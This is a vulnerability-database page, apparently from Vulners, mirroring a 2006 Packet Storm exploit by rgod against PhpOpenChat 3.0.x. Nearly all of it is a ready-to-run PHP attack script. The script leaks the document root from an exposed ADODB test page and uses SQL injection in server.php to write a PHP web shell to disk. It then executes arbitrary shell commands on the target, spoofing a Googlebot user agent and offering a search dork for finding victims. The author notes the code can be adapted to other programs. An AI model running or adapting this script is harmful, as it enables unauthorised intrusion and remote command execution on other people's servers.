Lucene search
K

PhpOpenChat3.0.xADODB.txt

🗓️ 14 Apr 2006 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

PhpOpenChat 3.0.x ADODB Server.php "sql" SQL injection by rgo

Code
`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to PhpOpenChat\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /chat/ \r\n";  
echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
/*  
this is based on  
  
http://www.securityfocus.com/bid/16187  
  
but... look at the server.php source code:  
  
...  
$driver = 'mysql';  
$host = 'localhost'; // DSN for odbc  
$uid = 'root';  
$pwd = '';  
$database = 'test';  
...  
  
you need a "root" user with no password, an existing "test" database  
and Mysql to have certain rights to write files...  
so, this vulnerability is... in sf dreams  
however, if you want to loose time to test a vulnerability that does not exist,  
here is the code for PhpOpenChat, you can easily change it to work against  
the program you want  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$action=$argv[3];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
#step 1->read DOCUMENT ROOT from phpinfo  
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
$temp=explode("DOCUMENT_ROOT </td><td class=\"v\">",$html);  
$temp2=explode(" </td></tr>",$temp[1]);  
$fullpath=$temp2[0];  
$fullpath=trim($fullpath);  
echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";  
$fullpath=str_replace("\\","\\\\\\\\",$fullpath); // win boxes  
if ($fullpath=="")  
{  
echo $html;  
die("\r\n\r\nCannot read phpinfo ...\r\n");  
}  
  
#step 2->execute a query (you can regardless of magic_quotes_gpc)  
$SQL ="SELECT '<?php echo chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";  
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";  
$SQL=urlencode($SQL);  
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))  
{  
echo $html;  
die("\r\n\r\nExploit failed...\r\n");  
}  
sleep(1);  
#step 3->launch commands  
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (!strstr($html,"*delim*"))  
{  
echo $html;  
die("\r\n\r\nExploit failed...\r\n");  
}  
else  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("*delim*",$html);  
echo $temp[1];  
}  
?>  
  
original url:  
  
http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.html  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2006 00:00Current
7.4High risk
Vulners AI Score7.4
23